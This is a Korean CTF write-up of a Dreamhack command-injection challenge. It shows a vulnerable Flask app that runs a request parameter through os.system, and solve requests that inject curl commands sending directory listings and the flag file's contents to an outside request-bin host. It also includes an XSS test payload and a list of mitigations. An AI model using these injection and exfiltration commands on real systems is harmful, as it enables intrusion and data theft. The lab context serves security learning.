๐๏ธAccess
Read the flag file XD
๐พExploit Algorithm & Payload
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
#1
: '/' ํ์ด์ง์์ ?cmd=[cmd]๋ผ๋ ํ๋ฉด์ด ์ถ๋ ฅ๋จ์ ํ์ธํ ์ ์๋ค.
: GET๋ฐฉ์์ผ๋ก cmd ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ์ ๋ ฅํ์๋๋ ๊ทธ๋๋ก ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ๋จ์ ํ์ธํ ์ ์๋ค.
: ์ถ๊ฐ๋ก <script>alert(1)</script>๋ฅผ ์ ๋ ฅํ๋๋ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฌธ์ด ๋์ํจ์ ํ์ธํ๋ค.
: ์ฌ๊ธฐ์ Reflected XSS ์ทจ์ฝ์ ๋ ์กด์ฌํจ์ ํ์ ํ๋ค.
: ์ด ๋ถ๋ถ์์ ํํธ๋ฅผ ์ดํด๋ณด๋ฉด POST๋ฐฉ์์ผ๋ก ์ ๊ทผํ ๊ฒฝ์ฐ OS.system(cmd) ๋ช ๋ น์ด๊ฐ ์ฌ์ฉ๊ฐ๋ฅํจ์ ํ์ธํ ์ ์๋ค.
#2
: Burp Suite๋๊ตฌ๋ฅผ ํ์ฉํ์ฌ ์ค๊ฐ์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋ก์ฑ์ด(Intercept) ๋ถ์ํ์๋ค.
: OPTIONS ๋ฉ์๋๋ฅผ ํ์ฉํ์ฌ ์ฃผ์ด์ง URL ๋๋ ์๋ฒ์ ๋ํด ํ์ฉ๋ ํต์ ์ต์ ์ ํ์ธํ๋ค.
: GET, OPTIONS, HEAD์์ HEAD๋ฅผ ์ฌ์ฉํด์ผ ํจ์ ์ ์ ์๋ค.
(HEAD๋ GET๊ณผ ๊ฑฐ์ ์ ์ฌํ๋ response body๊ฐ ์๋ค. ์ฆ, ํค๋ ์ ๋ณด ์ด์ธ์๋ ์ด๋ค ๋ฐ์ดํฐ๋ ๋ณด๋ด์ง ์๋๋ฐ ์ด๋ฅผ ํ์ฉ)
(์ค์ ๋ฆฌ์์ค๊ฐ ๋ฐํ๋์ง ์๊ณ ํค๋ ์ ๋ณด๋ง ๋ฐํ๋จ)
: ๋ฐ๋ผ์ ๋๋ฆผํต์ Request Bin์ ์ ์ ๊ธฐ๋ก์ ๋จ๊ฒจ ์์ฒญ์ ๋ํ ์๋ต ๊ธฐ๋ก์ ๋ฐ๋ก ํ์ธ๋ฐ์ ์ ์๋๋ก ์ฌ์ฉํ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
# curl -d ํ์ฉ(POST Body์ ์คํ ๊ฒฐ๊ณผ)
HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+-d+"$(ls)" HTTP/1.1
HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+--data+"$(ls)" HTTP/1.1
[์ต์ ]
-d or --data: HTTP POST ์์ฒญ ๋ฐ์ดํฐ ์ ๋ ฅ
: curl์ ํ๋กํ ์ฝ๋ค์ ์ด์ฉํด URL ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ์ฌ ์๋ฒ์ ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ด๊ฑฐ๋ ๊ฐ์ ธ์ฌ๋ ์ฌ์ฉํ๊ธฐ ์ํ ๋ช ๋ น์ค ๋๊ตฌ ๋ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค.
: ๊ทธ ๊ฒฐ๊ณผ ํ์ผ์ ๋ชฉ๋ก์ ํ์ธํ ํ cat ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ flagํ์ผ์ ์ด๋ํ ์ ์๋ค.
HEAD /?cmd=curl+https://netgppv.request.dreamhack.games/+--data+"$(cat+flag.py)" HTTP/1.1
[+] Additional Checks
: ์ถ๊ฐ๋ก ๋ค์๊ณผ ๊ฐ์ด ๋ช ๋ น์ด๋ฅผ ํ์ฉํ์ฌ ํ์ผ ๋ด๋ถ ๊ฒฝ๋ก๊น์ง ์ ๊ทผ ๋๋ ๋ค์ด๋ก๋ ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋งค์ฐ ์ํํ๋ค.
๐Summary
Command Injection ์ทจ์ฝ์
์ํ๋ ์ ๋ณด๋ฅผ ์ป๋ ๊ณผ์ ์์ ์ดํ๋ฆฌ์ผ์ด์ ์ฝ๋/์ค์ ๋๋ WAF(Web Application Firewall, ์น ๋ฐฉํ๋ฒฝ) ๋ฑ์ ์ํด ๊ณต๊ฒฉ์ด ์ ํ๋๋ ์ํฉ์ด ๋ฐ์ํ ๊ฒฝ์ฐ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ๊ธธ์ด ๋๋ ๋ด์ฉ์ด ์ ํ๋๊ฑฐ๋, ์คํ ๊ฒฐ๊ณผ๊ฐ ์ง์ ์ ์ผ๋ก ํ์ธํ ์ ์๊ฑฐ๋, ์ ๋์ ๋ฐ ์์์ ์ฌ์ฉํ ์ ์๋ ๋ฉํ ๋ฌธ์๋ค์ ํ์ฉํด ๊ณต๊ฒฉ์ด ์ ํ๋๋ ์ํฉ์ ์ฐํํ๊ณ ์ํ๋ ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด ์๋ ๋ฑ์ ๋ค์ํ ๊ณต๊ฒฉ๋ฒ์ด ์กด์ฌํ๋ค. ๋๋ฌธ์ ์ํฉ์ ๋ง๊ฒ ๋์ํ ํ์๊ฐ ์๋ค.
- ๋์๋ฐฉ์-
1) ์์คํ ๋ช ๋ น(๋ฉํ ๋ฌธ์๋ค) ๋๋ ์ ธ ์ก์ธ์ค๋ฅผ ๋นํ์ฑํ ํ์
2) ๋ช ๋ น์ ์คํํ๋ ์ฌ์ฉ์ ๋๋ ํ๋ก์ธ์ค์ ๊ถํ์ ์ ํํ์ฌ ์ฃผ์ ์ผ๋ก ์ธํ ์ ๊ทผ์ด ๋ฐ์ ๋์๋๋ผ๋ ๋ฏผ๊ฐ ๋ฆฌ์์ค ๋ฐ ๋ช ๋ น์ ๋ํ ์ ๊ทผ์ด ๋ถ๊ฐํ๋๋ก ์ ํ
3) ์ ๋ ฅ ์ ํจ์ฑ ๊ฒ์ฌ(ํ์ดํธ๋ฆฌ์คํธ, ๋ธ๋๋ฆฌ์คํธ)
: ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ์ ๋ ฅ๊ณผ URL, ๋งค๊ฐ๋ณ์๋ฅผ ์ฒ ์ ํ๊ฒ ์ ํจ์ฑ ๊ฒ์ฌ ํ์
4) ๋ฐฉํ๋ฒฝ ๊ตฌ์ฑ
5) Chrom ๊ธฐ๋ฅ์์ https ์ด์ธ์ ์ฌ์ดํธ๋ ์ง์ํ์ง ์๋๋ก ์ค์
(http ๋ฑ์ ์ ๊ทผ์์ ๋ก๊ทธ์ธ์ผ๋ก ์ธํ ์ ๋ณด ํ์ทจ ๋ฑ์ ์ด๋์ ๋ ์๋ฐฉํ ์ ์์)
...
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: web-ssrf (0) | 2023.09.09 |
---|---|
[Dreamhack] Level1: file-download-1 (0) | 2023.09.03 |
[Dreamhack] Level1: image-storage (0) | 2023.08.26 |
[Dreamhack] Level1: command-injection-1 (0) | 2023.08.24 |
[Dreamhack] Level2: Mango (0) | 2023.08.23 |